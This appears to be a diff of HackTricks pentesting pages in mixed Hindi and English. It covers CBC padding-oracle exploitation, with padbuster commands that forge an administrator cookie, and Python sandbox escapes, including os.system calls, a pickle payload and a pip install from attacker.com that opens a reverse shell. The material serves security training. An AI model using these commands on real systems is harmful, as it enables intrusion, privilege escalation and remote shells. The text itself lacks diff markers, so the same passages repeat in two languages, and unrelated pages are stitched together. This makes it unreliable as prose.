**अंतिम** **ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरा ब्लॉक "ब्लॉक सिफर डिक्रिप्शन" के माध्यम से जाता है जिससे **मध्यवर्ती बाइट्स I0 से I15** उत्पन्न होते हैं।\
अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XOR** किया जाता है। तो:
अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XORed** किया जाता है। तो:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -91,25 +95,29 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
जो हमें **C15 की गणना करने की अनुमति देता है**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15** को जानकर, अब **C14** की गणना करना संभव है, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करते हुए।
**C15** को जानकर, अब **C14 की गणना करना संभव है**, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करते हुए।
यह BF पिछले वाले के समान जटिल है क्योंकि यह `E''15` की गणना करना संभव है जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** को खोजने की आवश्यकता है जो **`C14` को `0x02` के बराबर बनाता है**।\
यह BF पिछले एक के रूप में जटिल है क्योंकि यह `E''15` की गणना करना संभव है जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** को खोजने की आवश्यकता है जो **`C14` को `0x02` के बराबर बनाता है**।\
फिर, C14 को डिक्रिप्ट करने के लिए वही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट न कर लें।**
### भेद्यता का पता लगाना
### Detection of the vulnerability
एक रजिस्टर और खाता बनाएं और इस खाते से लॉग इन करें।\
रजिस्टर करें और एक खाता बनाएं और इस खाते से लॉग इन करें।\
यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो संभवतः एप्लिकेशन में **कुछ** **गलत** है। **कुकी हर बार लॉग इन करते समय अद्वितीय होनी चाहिए**। यदि कुकी **हमेशा** **एक सी** है, तो यह संभवतः हमेशा मान्य होगी और इसे अमान्य करने का कोई तरीका नहीं होगा।
अब, यदि आप **कुकी को संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\
लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है।
अब, यदि आप **कुकी को संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से **एक त्रुटि** मिलती है।\
लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से कमजोर है।
### संदर्भ
### References
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,82 +1,86 @@
{% hint style="success" %}
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>हैकट्रिक्स का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जाँच करें!
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - साइफर ब्लॉक चेनिंग
{% embed url="https://websec.nl/" %}
CBC मोड में **पिछले एन्क्रिप्टेड ब्लॉक का उपयोग IV के रूप में** किया जाता है अगले ब्लॉक के साथ XOR करने के लिए:
# CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
CBC को डिक्रिप्ट करने के लिए **विपरीत** **ऑपरेशन** किए जाते हैं:
To decrypt CBC the **opposite** **operations** are done:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
ध्यान दें कि एक **एन्क्रिप्शन** **कुंजी** और एक **IV** का उपयोग करना आवश्यक है।
Notice how it's needed to use an **encryption** **key** and an **IV**.
# संदेश पैडिंग
# Message Padding
जैसा कि एन्क्रिप्शन **निश्चित** **साइज** **ब्लॉक्स** में किया जाता है, इसलिए **पैडिंग** की आवश्यकता होती है **अंतिम** **ब्लॉक** की लंबाई पूरी करने के लिए।\
आम तौर पर **PKCS7** का उपयोग किया जाता है, जो एक पैडिंग उत्पन्न करता है **आवश्यक** **बाइट्स** **की संख्या** **पूरी** **करने** के **लिए** ब्लॉक। उदाहरण के लिए, यदि अंतिम ब्लॉक में 3 बाइट्स की कमी है, तो पैडिंग `\x03\x03\x03` होगा।
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
एक **8 बाइट्स की लंबाई के 2 ब्लॉक्स** के साथ और अधिक उदाहरणों पर नजर डालें:
Let's look at more examples with a **2 blocks of length 8bytes**:
| बाइट #0 | बाइट #1 | बाइट #2 | बाइट #3 | बाइट #4 | बाइट #5 | बाइट #6 | बाइट #7 | बाइट #0 | बाइट #1 | बाइट #2 | बाइट #3 | बाइट #4 | बाइट #5 | बाइट #6 | बाइट #7 |
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
ध्यान दें कि अंतिम उदाहरण में **अंतिम ब्लॉक पूरा था इसलिए केवल पैडिंग के साथ एक और उत्पन्न किया गया था**
Note how in the last example the **last block was full so another one was generated only with padding**.
# पैडिंग ऑरेकल
# Padding Oracle
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करती है, तो पहले डेटा को डिक्रिप्ट किया जाएगा; फिर पैडिंग को हटाया जाएगा। पैडिंग को साफ करते समय, यदि **अमान्य पैडिंग एक पहचानने योग्य व्यवहार** को ट्रिगर करता है, तो आपके पास एक **पैडिंग ऑरेकल संरक्षितता** है। पहचानने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या **धीमा प्रतिक्रिया** हो सकती है।
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि एक **अमान्य पैडिंग एक पहचानने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास एक **पैडिंग ओरेकल भेद्यता** है। पहचानने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या एक **धीमी प्रतिक्रिया** हो सकती है।
यदि आप इस व्यवहार को पहचानते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहाँ तक कि **कोई साफ-टेक्स्ट एन्क्रिप्ट** कर सकते हैं।
यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **किसी भी स्पष्ट पाठ को एन्क्रिप्ट** कर सकते हैं।
## उत्पीडन कैसे करें
## How to exploit
आप [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) का उपयोग इस प्रकार की सुरक्षा भेदभाव का शिकार होने के लिए कर सकते हैं या बस करें
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
```
sudo apt-get install padbuster
```
एक साइट के कुकी को क्या विकल्पनशील है यह जांचने के लिए आप निम्नलिखित कोशिश कर सकते हैं:
किसी साइट के कुकी की संवेदनशीलता का परीक्षण करने के लिए आप कोशिश कर सकते हैं:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**कोडिंग 0** यह अर्थ है कि **बेस64** का उपयोग किया जाता है (लेकिन अन्य भी उपलब्ध हैं, मदद मेनू की जांच करें)।
**Encoding 0** का मतलब है कि **base64** का उपयोग किया गया है (लेकिन अन्य उपलब्ध हैं, मदद मेनू की जांच करें)।
आप इस सुरक्षा दोष का दुरुपयोग करके नए डेटा को एन्क्रिप्ट करने के लिए भी उपयोग कर सकते हैं। उदाहरण के लिए, यदि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकारों को उन्नत कर सकते हैं। आप `paduster` का उपयोग करके भी इसे कर सकते हैं, -plaintext** पैरामीटर को निर्दिष्ट करके:
आप इस कमजोरियों का **दुरुपयोग करके नए डेटा को एन्क्रिप्ट कर सकते हैं। उदाहरण के लिए, कल्पना करें कि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप इसे `paduster` का उपयोग करके -plaintext** पैरामीटर निर्दिष्ट करके भी कर सकते हैं:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
यदि साइट वंर्नरबल है, तो `padbuster` स्वचालित रूप से कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप इसे **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी निर्दिष्ट कर सकते हैं।
यदि साइट कमजोर है तो `padbuster` स्वचालित रूप से यह पता लगाने की कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी इंगित कर सकते हैं।
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## सिद्धांत
**सारांश में**, आप सही मानों की अनुमान लगाकर एन्क्रिप्टेड डेटा का डिक्रिप्शन शुरू कर सकते हैं जो सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकते हैं। फिर, पैडिंग ऑरेकल हमला शुरू होगा जो अंत से शुरू तक बाइट्स को डिक्रिप्ट करने लगेगा जिसे अनुमान लगाकर पता लगाया जाएगा कि **1, 2, 3, आदि कैसे पैडिंग बनाई जा सकती है**
**संक्षेप में**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल अटैक अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करना शुरू करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है
![](<../.gitbook/assets/image (629) (1) (1).png>)
कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड पाठ है जो **E0 से E15** तक के बाइट्स द्वारा बने **2 ब्लॉक** में ले लेता है।\
**अंतिम ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरे ब्लॉक को "ब्लॉक साइपर डिक्रिप्शन" के माध्यम से गुजरना होगा जिससे **इंटरमीडिएट बाइट्स I0 से I15** उत्पन्न होंगे।\
अंततः, प्रत्येक इंटरमीडिएट बाइट पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XORed** किया जाएगा। इस प्रकार:
कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड टेक्स्ट है जो **2 ब्लॉक्स** में फैला हुआ है जो **E0 से E15** तक के बाइट्स से बना है।\
**अंतिम** **ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरा ब्लॉक "ब्लॉक सिफर डिक्रिप्शन" के माध्यम से जाता है जिससे **मध्यवर्ती बाइट्स I0 से I15** उत्पन्न होते हैं।\
अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XORed** किया जाता है। तो:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -84,27 +88,47 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4`
* ...
अब, **`C15` को `0x01` तक बनाने के लिए `E7` को संशोधित करना संभव है**, जो एक सही पैडिंग होगा। इसलिए, इस मामले में: `\x01 = I15 ^ E'7`
अब, यह संभव है कि आप **E7 को संशोधित करें जब तक C15 `0x01`** न हो, जो एक सही पैडिंग भी होगी। तो, इस मामले में: `\x01 = I15 ^ E'7`
इसलिए, `E'7` खोजने पर, यह **संभव है कि हम I15 की गणना कर सकें**: `I15 = 0x01 ^ E'7`
तो, E'7 को खोजकर, **I15** की गणना करना संभव है: `I15 = 0x01 ^ E'7`
जो हमें **`C15` की गणना करने की अनुमति देता है**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
जो हमें **C15** की गणना करने की अनुमति देता है: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15** को जानने के बाद, अब **`C14` की गणना करना संभव है**, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करना होगा
**C15** को जानकर, अब **C14** की गणना करना संभव है, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करते हुए
यह बीएफ पिछले एक के तुलना में इसी कठिनाई का है क्योंकि यह संभव है कि `E''15` की गणना की जाए जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए बस **`E'14`** खोजने की आवश्यकता है जो एक **`C14` को `0x02` के बराबर** उत्पन्न करता है।\
फिर, C14 को डिक्रिप्ट करने के लिए एक ही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
यह BF पिछले एक के रूप में जटिल है क्योंकि यह `E''15` की गणना करना संभव है जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** को खोजने की आवश्यकता है जो **`C14` को `0x02`** के बराबर बनाता है।\
फिर, C14 को डिक्रिप्ट करने के लिए ही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड पाठ को डिक्रिप्ट नहीं कर लेते।**
**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट न कर लें।**
## संक्रमण की पहचान
## भेद्यता का पता लगाना
एक खाता पंजीकृत करें और इस खाते से लॉग इन करें।\
यदि आप **कई बार लॉग इन** करते हैं और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो एप्लिकेशन में **कुछ गलती** हो सकती है। वापस भेजी गई कुकी हर बार जब आप लॉग इन करते हैं, **अद्वितीय होनी चाहिए**। यदि कुकी **हमेशा** **एक ही** है, तो यह संभावना है कि यह हमेशा मान्य रहेगी और उसे **अमान्य करने का कोई तरीका नहीं होगा**
एक रजिस्टर और खाता बनाएं और इस खाते से लॉग इन करें।\
यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो संभवतः एप्लिकेशन में **कुछ** **गलत** है। **कुकी** हर बार लॉग इन करते समय **विशिष्ट** होनी चाहिए। यदि कुकी **हमेशा** **एक सी** है, तो यह संभवतः हमेशा मान्य होगी और इसे अमान्य करने का कोई तरीका नहीं होगा।
अब, यदि आप कुकी को **संशोधित** करने की कोशिश करते हैं, तो आप एप्लिकेशन से **त्रुटि** प्राप्त करते हैं।\
लेकिन यदि आप पैडिंग को ब्रूट-फोर्स करते हैं (उदाहरण के लिए पैडबस्टर का उपयोग करके), तो आपको एक और कुकी प्राप्त करने में सफलता मिलती है जो एक विभिन्न उपयोगकर्ता के लिए मान्य होती है। यह परिदृश्य पैडबस्टर के लिए अत्यधिक संभावित है।
अब, यदि आप **कुकी को संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\
लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक और कुकी प्राप्त करने में सफल होते हैं जो एक अलग उपयोगकर्ता के लिए मान्य है। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है।
## संदर्भ
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें PRs को [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।**
</details>
{% endhint %}

View file

@ -1,25 +1,35 @@
# Bypass Python sandboxes
# Python सैंडबॉक्स को बायपास करें
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
ये कुछ तरकीबें हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनचाहे कमांड को निष्पादित करने के लिए हैं।
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
## Command Execution Libraries
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें
पहली बात जो आपको जाननी चाहिए वह यह है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या यदि आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
ये कुछ ट्रिक्स हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनमाने कमांड निष्पादित करने के लिए हैं।
## कमांड निष्पादन पुस्तकालय
आपको सबसे पहले यह जानने की आवश्यकता है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
```python
os.system("ls")
os.popen("ls").read()
@ -52,7 +62,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **फाइलों को पढ़ने** के लिए और **कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **bypass** किया जा सके।
याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **फाइलों को पढ़ने** के लिए और **कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके।
{% hint style="danger" %}
**Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले पायथन कोड को निष्पादित करने की अनुमति देता है।
@ -68,7 +78,7 @@ system('ls')
आप यहाँ **पूर्व-स्थापित** पैकेजों की **सूची** पा सकते हैं: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
ध्यान दें कि एक पिकल से आप पायथन वातावरण को **सिस्टम में स्थापित मनमाने पुस्तकालयों** को **import** करने के लिए बना सकते हैं।\
उदाहरण के लिए, निम्नलिखित पिकल, जब लोड किया जाएगा, तो इसका उपयोग करने के लिए पिप पुस्तकालय को आयात करेगा:
उदाहरण के लिए, निम्नलिखित पिकल, जब लोड किया जाएगा, तो pip पुस्तकालय को उपयोग करने के लिए आयात करेगा:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -85,7 +95,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
### Pip पैकेज
**@isHaacK** द्वारा साझा की गई चाल
ट्रिक साझा की गई **@isHaacK** द्वारा
यदि आपके पास `pip` या `pip.main()` तक पहुंच है, तो आप एक मनमाना पैकेज स्थापित कर सकते हैं और एक रिवर्स शेल प्राप्त कर सकते हैं:
```bash
@ -97,10 +107,10 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %}
यह पैकेज `Reverse` कहाता है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी की स्थापना विफल हो जाएगी, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं छोड़ेंगे** जब आप बाहर निकलेंगे।
यह पैकेज `Reverse` कहा जाता है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी की स्थापना विफल हो जाएगी, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं छोड़ेंगे** जब आप बाहर निकलेंगे।
{% endhint %}
## पायथन कोड का मूल्यांकन करना
## Eval-ing python code
{% hint style="warning" %}
ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जाँच करें)
@ -152,7 +162,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Bypassing protections through encodings (UTF-7)
In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाना पायथन कोड लोड और निष्पादित करने के लिए किया जाता है:
In [**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने पायथन कोड को लोड और निष्पादित करने के लिए किया जाता है:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -197,7 +207,7 @@ class _:pass
#### कस्टम क्लासेस के साथ RCE
